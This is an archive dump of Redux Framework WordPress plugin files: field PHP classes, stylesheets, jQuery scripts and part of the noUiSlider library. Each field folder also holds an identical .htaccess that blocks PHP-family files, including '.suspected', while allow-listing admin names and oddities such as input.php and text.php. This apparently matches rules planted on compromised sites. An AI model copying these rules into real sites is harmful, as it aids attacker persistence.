= ''; $multi_class = ''; if ($is_multi) { $the_val = ''; $the_name = ''; $data_val = ' data-val="' . $k . '"'; $hidden_name = $name; $multi_class = 'multi '; if ($post_value == '') { $hidden_name = ''; } echo '<input type="hidden" class="buttonset-check" id="' . $this->field['id'] . '-buttonset' . $k . '-hidden" name="' .$hidden_name . '" value="' . $post_value . '"/>'; } echo '<input' . $data_val . ' data-id="' . $this->field['id'] . '" type="' . $type . '" id="' . $this->field['id'] . '-buttonset' . $k . '" name="' . $the_name . '" class="buttonset-item ' . $multi_class . $this->field['class'] . '" value="' . $the_val . '" ' . $selected . '/>'; echo '<label for="' . $this->field['id'] . '-buttonset' . $k . '">' . $v . '</label>'; } echo '</div>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if (!wp_script_is ( 'redux-field-button-set-js' )) { wp_enqueue_script( 'redux-field-button-set-js', ReduxFramework::$_url . 'inc/fields/button_set/field_button_set' . Redux_Functions::isMin() . '.js', array( 'jquery', 'jquery-ui-core', 'redux-js' ), time(), true ); } } } }������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015670 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/radio/field_radio.php����������������������������������������������������0000644�����������������00000004550�14720701300�0015753 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_radio' ) ) { class ReduxFramework_radio { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); } $this->field['data_class'] = ( isset( $this->field['multi_layout'] ) ) ? 'data-' . $this->field['multi_layout'] : 'data-full'; if ( ! empty( $this->field['options'] ) ) { echo '<ul class="' . $this->field['data_class'] . '">'; foreach ( $this->field['options'] as $k => $v ) { echo '<li>'; echo '<label for="' . $this->field['id'] . '_' . array_search( $k, array_keys( $this->field['options'] ) ) . '">'; echo '<input type="radio" class="radio ' . $this->field['class'] . '" id="' . $this->field['id'] . '_' . array_search( $k, array_keys( $this->field['options'] ) ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" value="' . $k . '" ' . checked( $this->value, $k, false ) . '/>'; echo ' <span>' . $v . '</span>'; echo '</label>'; echo '</li>'; } //foreach echo '</ul>'; } } //function } //class }��������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/radio/.htaccess����������������������������������������������������������0000644�����������������00000001626�14720701300�0014600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/multi_text/field_multi_text.css������������������������������������������0000644�����������������00000001406�14720701300�0020151 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-multi_text ul.redux-multi-text{margin:0;padding:0}.redux-container-multi_text .redux-multi-text-add{clear:both;margin:5px 0}.redux-container-multi_text a.redux-multi-text-remove.deletion{color:#F00;padding:2px 4px;margin-left:5px}.redux-container-multi_text a.redux-multi-text-remove.deletion:hover{background:red;color:#fff;text-decoration:none}@media screen and (max-width: 782px){.redux-container-multi_text input{clear:both}.redux-container-multi_text .redux-multi-text-remove{margin:0;float:right}}.wp-customizer .redux-container-multi_text .button{float:right}.wp-customizer .redux-container-multi_text .redux-multi-text-remove{float:right;margin-bottom:5px}.wp-customizer .redux-container-multi_text ul.redux-multi-text input{width:100% !important} ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/multi_text/field_multi_text.scss�����������������������������������������0000644�����������������00000001755�14720701300�0020343 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-multi_text { ul.redux-multi-text { margin: 0; padding: 0; } .redux-multi-text-add { clear: both; margin: 5px 0; } a.redux-multi-text-remove { &.deletion { color: #F00; padding: 2px 4px; margin-left: 5px; &:hover { background: red; color: #fff; text-decoration: none; } } } } @media screen and (max-width: 782px) { .redux-container-multi_text { input { clear: both; } .redux-multi-text-remove { margin: 0; float: right; } } } .wp-customizer { .redux-container-multi_text { .button { float: right; } .redux-multi-text-remove { float: right; margin-bottom: 5px; } ul.redux-multi-text input { width: 100% !important; } } } �������������������redux-framework/inc/fields/multi_text/field_multi_text.min.js���������������������������������������0000644�����������������00000002577�14720701300�0020571 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(t){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.multi_text=redux.field_objects.multi_text||{},redux.field_objects.multi_text.init=function(i){i||(i=t(document).find(".redux-container-multi_text:visible")),t(i).each(function(){var i=t(this),e=i;i.hasClass("redux-field-container")||(e=i.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),i.on("click",".redux-multi-text-remove",function(){redux_change(t(this)),t(this).prev('input[type="text"]').val("");var e=t(this).attr("data-id");t(this).parent().slideUp("medium",function(){if(t(this).remove(),1==i.find("#"+e+" li").length){var d=i.find(".redux-multi-text-add").attr("data-name");i.find("#"+e+' li:last-child input[type="text"]').attr("name",d)}})}),i.find(".redux-multi-text-add").on("click",function(){for(var e=parseInt(t(this).attr("data-add_number")),d=t(this).attr("data-id"),n=t(this).attr("data-name")+"[]",a=0;a<e;a++){var l=t("#"+d+" li:last-child").clone();i.find("#"+d).append(l),i.find("#"+d+" li:last-child").removeAttr("style"),i.find("#"+d+' li:last-child input[type="text"]').val(""),i.find("#"+d+' li:last-child input[type="text"]').attr("name",n)}i.find("#"+d+" li").length>1&&i.find("#"+d+" li").each(function(i,e){"none"===t(this).css("display")&&t(this).find('input[type="text"]').attr("name","")})}))})}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/multi_text/field_multi_text.js�������������������������������������������0000644�����������������00000006570�14720701300�0020004 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.multi_text = redux.field_objects.multi_text || {}; redux.field_objects.multi_text.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-multi_text:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.on('click', '.redux-multi-text-remove', function () { redux_change( $( this ) ); $( this ).prev( 'input[type="text"]' ).val( '' ); var id = $( this ).attr( 'data-id' ); $( this ).parent().slideUp( 'medium', function() { $( this ).remove(); var lis = el.find( '#' + id + ' li').length; if (lis == 1) { var add = el.find( '.redux-multi-text-add' ); var name = add.attr( 'data-name' ); el.find( '#' + id + ' li:last-child input[type="text"]' ).attr( 'name', name ); } } ); } ); el.find( '.redux-multi-text-add' ).on( 'click', function() { var number = parseInt( $( this ).attr( 'data-add_number' ) ); var id = $( this ).attr( 'data-id' ); var name = $( this ).attr( 'data-name' ) + '[]'; for ( var i = 0; i < number; i++ ) { var new_input = $( '#' + id + ' li:last-child' ).clone(); el.find( '#' + id ).append( new_input ); el.find( '#' + id + ' li:last-child' ).removeAttr( 'style' ); el.find( '#' + id + ' li:last-child input[type="text"]' ).val( '' ); el.find( '#' + id + ' li:last-child input[type="text"]' ).attr( 'name', name ); } var lis = el.find( '#' + id + ' li').length; if (lis > 1) { var css, input; el.find('#' + id + ' li').each(function(idx, val){ css = $(this).css('display'); if (css === 'none') { input = $(this).find('input[type="text"]'); input.attr('name', ''); } }) } } ); } ); }; })( jQuery ); ����������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/multi_text/field_multi_text.css.map��������������������������������������0000644�����������������00000001107�14720701300�0020723 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "version": 3, "mappings": "AACI,+CAAoB;EAChB,MAAM,EAAE,CAAC;EACT,OAAO,EAAE,CAAC;AAGd,iDAAsB;EAClB,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,KAAK;AAIb,8DAAW;EACP,KAAK,EAAE,IAAI;EACX,OAAO,EAAE,OAAO;EAChB,WAAW,EAAE,GAAG;EAEhB,oEAAQ;IACJ,UAAU,EAAE,GAAG;IACf,KAAK,EAAE,IAAI;IACX,eAAe,EAAE,IAAI;;AAMrC,oCAAqC;EAE7B,iCAAM;IACF,KAAK,EAAE,IAAI;EAGf,oDAAyB;IACrB,MAAM,EAAE,CAAC;IACT,KAAK,EAAE,KAAK;AAOhB,kDAAQ;EACJ,KAAK,EAAE,KAAK;AAEhB,mEAAyB;EACrB,KAAK,EAAE,KAAK;EACZ,aAAa,EAAE,GAAG;AAEtB,oEAA0B;EACtB,KAAK,EAAE,eAAe", "sources": ["field_multi_text.scss"], "names": [], "file": "field_multi_text.css" }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/multi_text/field_multi_text.php������������������������������������������0000644�����������������00000013320�14720701300�0020146 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Multi_Text * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_multi_text' ) ) { /** * Main ReduxFramework_multi_text class * * @since 1.0.0 */ class ReduxFramework_multi_text { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $this->add_text = ( isset( $this->field['add_text'] ) ) ? $this->field['add_text'] : __( 'Add More', 'redux-framework' ); $this->show_empty = ( isset( $this->field['show_empty'] ) ) ? $this->field['show_empty'] : true; echo '<ul id="' . $this->field['id'] . '-ul" class="redux-multi-text">'; if ( isset( $this->value ) && is_array( $this->value ) ) { foreach ( $this->value as $k => $value ) { if ( $value != '' || ($value == '' && $this->show_empty == true) ) { echo '<li>'; echo '<input readonly type="text" id="' . $this->field['id'] . '-' . $k . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[]' . '" value="' . esc_attr( $value ) . '" class="regular-text ' . $this->field['class'] . '" /> '; echo '<a' . ' data-id="' . $this->field['id'] . '-ul" href="javascript:void(0);" class="deletion redux-multi-text-remove">' . __( 'Remove', 'redux-framework' ) . '</a>'; echo '</li>'; } } } elseif ( $this->show_empty == true ) { echo '<li>'; echo '<input type="text" id="' . $this->field['id'] . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '[]' . '" value="" class="regular-text ' . $this->field['class'] . '" /> '; echo '<a' . ' data-id="' . $this->field['id'] . '-ul" href="javascript:void(0);" class="deletion redux-multi-text-remove">' . __( 'Remove', 'redux-framework' ) . '</a>'; echo '</li>'; } $the_name = ''; if (isset($this->value) && empty($this->value) && $this->show_empty == false) { $the_name = $this->field['name'] . $this->field['name_suffix']; } echo '<li style="display:none;">'; if ( ! empty( $this->field['label'] ) ) { echo '<span class="repeat-label">' . esc_html( $this->field['label'] ) . '</span>'; } echo '<input type="text" id="' . $this->field['id'] . '" name="' . $the_name . '" value="" class="regular-text" /> '; echo '<a' . ' data-id="' . $this->field['id'] . '-ul" href="javascript:void(0);" class="deletion redux-multi-text-remove">' . __( 'Remove', 'redux-framework' ) . '</a>'; echo '</li>'; echo '</ul>'; echo '<span style="clear:both;display:block;height:0;" /></span>'; $this->field['add_number'] = ( isset( $this->field['add_number'] ) && is_numeric( $this->field['add_number'] ) ) ? $this->field['add_number'] : 1; echo '<a href="javascript:void(0);" class="button button-primary redux-multi-text-add" data-add_number="' . $this->field['add_number'] . '" data-id="' . $this->field['id'] . '-ul" data-name="' . $this->field['name'] . $this->field['name_suffix'] . '">' . $this->add_text . '</a><br/>'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'redux-field-multi-text-js', ReduxFramework::$_url . 'inc/fields/multi_text/field_multi_text' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-multi-text-css', ReduxFramework::$_url . 'inc/fields/multi_text/field_multi_text.css', array(), time(), 'all' ); } } } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/multi_text/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/field_slider.min.js�����������������������������������������������0000644�����������������00000006175�14720701300�0016737 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(F){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.slider=redux.field_objects.slider||{},F(document).ready(function(){}),redux.field_objects.slider.init=function(e){e||(e=F(document).find(".redux-group-tab:visible").find(".redux-container-slider:visible")),F(e).each(function(){var y=F(this),e=y;if(y.hasClass("redux-field-container")||(e=y.parents(".redux-field-container:first")),!e.is(":hidden")&&e.hasClass("redux-field-init")){e.removeClass("redux-field-init"),y.find("div.redux-slider-container").each(function(){var e,i,t,d,l,r,a=F(this).data("id"),s=F(this).data("min"),n=F(this).data("max"),o=F(this).data("step"),u=F(this).data("handles"),c=F(this).data("default-one"),f=F(this).data("default-two"),v=F(this).data("resolution"),x=parseInt(F(this).data("display")),h=Boolean(F(this).data("rtl")),p=F(this).data("float-mark");Boolean(F(this).data("forced"));r=!0===h?"rtl":"ltr";var b,w,_,j,m=[s,n],g=[c,f],k=[c];if(2==x?(b=t=y.find(".redux-slider-input-one-"+a),w=d=y.find(".redux-slider-input-two-"+a)):3==x?(t=y.find(".redux-slider-select-one-"+a),d=y.find(".redux-slider-select-two-"+a),redux.field_objects.slider.loadSelect(t,s,n,v,o),2===u&&redux.field_objects.slider.loadSelect(d,s,n,v,o)):1==x?(t=y.find("#redux-slider-label-one-"+a),d=y.find("#redux-slider-label-two-"+a)):0==x&&(t=y.find(".redux-slider-value-one-"+a),d=y.find(".redux-slider-value-two-"+a)),1==x){var C=[t,"html"];_=[C],j=[C,[d,"html"]]}else _=[t],j=[t,d];l=2===u?(e=g,i=j,!0):(e=k,i=_,"lower");var S=F(this).noUiSlider({range:m,start:e,handles:u,step:o,connect:l,behaviour:"tap-drag",direction:r,serialization:{resolution:v,to:i,mark:p},slide:function(){if(1==x)if(2===u){var e=S.val();y.find("input.redux-slider-value-one-"+a).attr("value",e[0]),y.find("input.redux-slider-value-two-"+a).attr("value",e[1])}else y.find("input.redux-slider-value-one-"+a).attr("value",S.val());3==x&&(2===u?(y.find(".redux-slider-select-one").select2("val",S.val()[0]),y.find(".redux-slider-select-two").select2("val",S.val()[1])):y.find(".redux-slider-select-one").select2("val",S.val())),redux_change(F(this).parents(".redux-field-container:first").find("input"))}});2===x&&(b.keydown(function(e){var i=S.val(),t=parseInt(i[0]);switch(e.which){case 38:S.val([t+1,null]);break;case 40:S.val([t-1,null]);break;case 13:e.preventDefault()}}),2===u&&w.keydown(function(e){var i=S.val(),t=parseInt(i[1]);switch(e.which){case 38:S.val([null,t+1]);break;case 40:S.val([null,t-1]);break;case 13:e.preventDefault()}}))});var i={width:"resolve",triggerChange:!0,allowClear:!0},t=y.find(".select2_params");if(0<t.size()){var d=t.val();d=JSON.parse(d),i=F.extend({},i,d)}y.find("select.redux-slider-select-one, select.redux-slider-select-two").select2(i)}})},redux.field_objects.slider.isFloat=function(e){return+e===e&&!isFinite(e)||Boolean(e%1)},redux.field_objects.slider.decimalCount=function(e){return e.toString().split(".")[1].length},redux.field_objects.slider.loadSelect=function(e,i,t,d,l){for(var r=i;r<=t;r+=d){var a=r;if(redux.field_objects.slider.isFloat(d)){var s=redux.field_objects.slider.decimalCount(d);a=r.toFixed(s)}F(e).append('<option value="'+a+'">'+a+"</option>")}}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/field_slider.scss�������������������������������������������������0000644�����������������00000003270�14720701300�0016505 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-container-slider { .redux-slider-container { margin-left: 25px; margin-right: 25px; width: 200px; display: inline-block; vertical-align: middle; } .redux-slider-input, .redux-slider-select-one, .redux-slider-select-two { width: 100px !important; text-align: center; } .redux-slider-label { position: absolute; margin-left: -5px; } .redux-slider-label-one { position: absolute; margin-left: -22px; } .redux-slider-label-two { position: absolute; margin-top: -21px; margin-left: 245px; } } @media screen and (max-width: 782px) { .redux-container-slider { input { display: inline-block !important; } } } // Select Slider @media screen and (max-width: 570px) { .redux-container-slider { text-align: center; input, select, .redux-slider-label, .select2-container { display: block !important; position: inherit; margin: 10px auto; } .redux-slider-container { margin-top: 3px; width: 80%; } } } .wp-customizer { .redux-container-slider { .redux-slider-label { float: left; position: inherit; width: 25%; text-align: center; margin-left:0; } .redux-slider-input, .redux-slider-select-one, .redux-slider-select-two { width: 25% !important; } .redux-slider-container { width: 70%; margin-right: 0; margin-left: 5%; } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/slider/vendor/nouislider/redux.jquery.nouislider.js����������������������0000644�����������������00000111400�14720701300�0024007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! $.noUiSlider @version 5.0.0 @author Leon Gersen https://twitter.com/LeonGersen @license WTFPL http://www.wtfpl.net/about/ @documentation http://refreshless.com/nouislider/ */ // ==ClosureCompiler== // @externs_url http://refreshless.com/externs/jquery-1.8.js // @compilation_level ADVANCED_OPTIMIZATIONS // @warning_level VERBOSE // ==/ClosureCompiler== /*jshint laxcomma: true */ /*jshint smarttabs: true */ /*jshint sub: true */ /*jslint browser: true */ /*jslint continue: true */ /*jslint plusplus: true */ /*jslint white: true */ /*jslint sub: true */ (function( $ ){ 'use strict'; if ( $['zepto'] && !$.fn.removeData ) { throw new ReferenceError('Zepto is loaded without the data module.'); } $.fn['noUiSlider'] = function( options, rebuild ){ var // Cache the document and body selectors; doc = $(document) ,body = $('body') // Namespace for binding and unbinding slider events; ,namespace = '.nui' // Copy of the current value function; ,$VAL = $.fn.val // Re-usable list of classes; ,clsList = [ /* 0 */ 'noUi-base' /* 1 */ ,'noUi-origin' /* 2 */ ,'noUi-handle' /* 3 */ ,'noUi-input' /* 4 */ ,'noUi-active' /* 5 */ ,'noUi-state-tap' /* 6 */ ,'noUi-target' /* 7 */ ,'-lower' /* 8 */ ,'-upper' /* 9 */ ,'noUi-connect' /* 10 */ ,'noUi-horizontal' /* 11 */ ,'noUi-vertical' /* 12 */ ,'noUi-background' /* 13 */ ,'noUi-stacking' /* 14 */ ,'noUi-block' /* 15 */ ,'noUi-state-blocked' /* 16 */ ,'noUi-ltr' /* 17 */ ,'noUi-rtl' /* 18 */ ,'noUi-dragable' /* 19 */ ,'noUi-extended' /* 20 */ ,'noUi-state-drag' ] // Determine the events to bind. IE11 implements pointerEvents without // a prefix, which breaks compatibility with the IE10 implementation. ,actions = window.navigator['pointerEnabled'] ? { start: 'pointerdown' ,move: 'pointermove' ,end: 'pointerup' } : window.navigator['msPointerEnabled'] ? { start: 'MSPointerDown' ,move: 'MSPointerMove' ,end: 'MSPointerUp' } : { start: 'mousedown touchstart' ,move: 'mousemove touchmove' ,end: 'mouseup touchend' }; // Percentage calculation // (percentage) How many percent is this value of this range? function fromPercentage ( range, value ) { return (value * 100) / ( range[1] - range[0] ); } // (percentage) Where is this value on this range? function toPercentage ( range, value ) { return fromPercentage( range, range[0] < 0 ? value + Math.abs(range[0]) : value - range[0] ); } // (value) How much is this percentage on this range? function isPercentage ( range, value ) { return ((value * ( range[1] - range[0] )) / 100) + range[0]; } // Type tests // Test in an object is an instance of jQuery or Zepto. function isInstance ( a ) { return a instanceof $ || ( $['zepto'] && $['zepto']['isZ'](a) ); } // Checks whether a value is numerical. function isNumeric ( a ) { return !isNaN( parseFloat( a ) ) && isFinite( a ); } // General helper functions // Test an array of objects, and calls them if they are a function. function call ( functions, scope ) { // Allow the passing of an unwrapped function. // Leaves other code a more comprehensible. if( !$.isArray( functions ) ){ functions = [ functions ]; } $.each( functions, function(){ if (typeof this === 'function') { this.call(scope); } }); } // Returns a proxy to set a target using the public value method. function setN ( target, number ) { return function(){ // Determine the correct position to set, // leave the other one unchanged. var val = [null, null]; val[ number ] = $(this).val(); // Trigger the 'set' callback target.val(val, true); }; } // Round a value to the closest 'to'. function closest ( value, to ){ return Math.round(value / to) * to; } // Format output value to specified standards. function format ( value, options ) { // Round the value to the resolution that was set // with the serialization options. value = value.toFixed( options['decimals'] ); // Rounding away decimals might cause a value of -0 // when using very small ranges. Remove those cases. if ( parseFloat(value) === 0 ) { value = value.replace('-0', '0'); } // Apply the proper decimal mark to the value. return value.replace( '.', options['serialization']['mark'] ); } // Determine the handle closest to an event. function closestHandle ( handles, location, style ) { if ( handles.length === 1 ) { return handles[0]; } var total = handles[0].offset()[style] + handles[1].offset()[style]; return handles[ location < total / 2 ? 0 : 1 ]; } // Round away small numbers in floating point implementation. function digits ( value, round ) { return parseFloat(value.toFixed(round)); } // Event abstraction // Provide a clean event with standardized offset values. function fixEvent ( e ) { // Prevent scrolling and panning on touch events, while // attempting to slide. The tap event also depends on this. e.preventDefault(); // Filter the event to register the type, which can be // touch, mouse or pointer. Offset changes need to be // made on an event specific basis. var touch = e.type.indexOf('touch') === 0 ,mouse = e.type.indexOf('mouse') === 0 ,pointer = e.type.indexOf('pointer') === 0 ,x,y, event = e; // IE10 implemented pointer events with a prefix; if ( e.type.indexOf('MSPointer') === 0 ) { pointer = true; } // Get the originalEvent, if the event has been wrapped // by jQuery. Zepto doesn't wrap the event. if ( e.originalEvent ) { e = e.originalEvent; } if ( touch ) { // noUiSlider supports one movement at a time, // so we can select the first 'changedTouch'. x = e.changedTouches[0].pageX; y = e.changedTouches[0].pageY; } if ( mouse || pointer ) { // Polyfill the pageXOffset and pageYOffset // variables for IE7 and IE8; if( !pointer && window.pageXOffset === undefined ){ window.pageXOffset = document.documentElement.scrollLeft; window.pageYOffset = document.documentElement.scrollTop; } x = e.clientX + window.pageXOffset; y = e.clientY + window.pageYOffset; } return $.extend( event, { 'pointX': x ,'pointY': y ,cursor: mouse }); } // Handler for attaching events trough a proxy function attach ( events, element, callback, pass ) { var target = pass.target; // Add the noUiSlider namespace to all events. events = events.replace( /\s/g, namespace + ' ' ) + namespace; // Bind a closure on the target. return element.on( events, function( e ){ // jQuery and Zepto handle unset attributes differently. var disabled = target.attr('disabled'); disabled = !( disabled === undefined || disabled === null ); // Test if there is anything that should prevent an event // from being handled, such as a disabled state or an active // 'tap' transition. if( target.hasClass('noUi-state-tap') || disabled ) { return false; } // Call the event handler with three arguments: // - The event; // - An object with data for the event; // - The slider options; // Having the slider options as a function parameter prevents // getting it in every function, which muddies things up. callback ( fixEvent( e ) ,pass ,target.data('base').data('options') ); }); } // Serialization and value storage // Store a value on all serialization targets, or get the current value. function serialize ( a ) { /*jshint validthis: true */ // Re-scope target for availability within .each; var target = this.target; // Get the value for this handle if ( a === undefined ) { return this.element.data('value'); } // Write the value to all serialization objects // or store a new value on the handle if ( a === true ) { a = this.element.data('value'); } else { this.element.data('value', a); } // Prevent a serialization call if the value wasn't initialized. if ( a === undefined ) { return; } // If the provided element was a function, // call it with the slider as scope. Otherwise, // simply call the function on the object. $.each( this.elements, function() { if ( typeof this === 'function' ) { this.call(target, a); } else { this[0][this[1]](a); } }); } // Map serialization to [ element, method ]. Attach events where required. function storeElement ( handle, item, number ) { // Add a change event to the supplied jQuery objects, // which triggers the value-setting function on the target. if ( isInstance( item ) ) { var elements = [], target = handle.data('target'); // Link the field to the other handle if the // slider is inverted. if ( handle.data('options').direction ) { number = number ? 0 : 1; } // Loop all items so the change event is properly bound, // and the items can individually be added to the array. item.each(function(){ // Bind the change event. $(this).on('change' + namespace, setN( target, number )); // Store the element with the proper handler. elements.push([ $(this), 'val' ]); }); return elements; } // Append a new input to the noUiSlider base. // Prevent the change event from flowing upward. if ( typeof item === 'string' ) { item = [ $('<input type="hidden" name="'+ item +'">') .appendTo(handle) .addClass(clsList[3]) .change(function ( e ) { e.stopPropagation(); }), 'val']; } return [item]; } // Access point and abstraction for serialization. function store ( handle, i, serialization ) { var elements = []; // Loops all items in the provided serialization setting, // add the proper events to them or create new input fields, // and add them as data to the handle so they can be kept // in sync with the slider value. $.each( serialization['to'][i], function( index ){ elements = elements.concat( 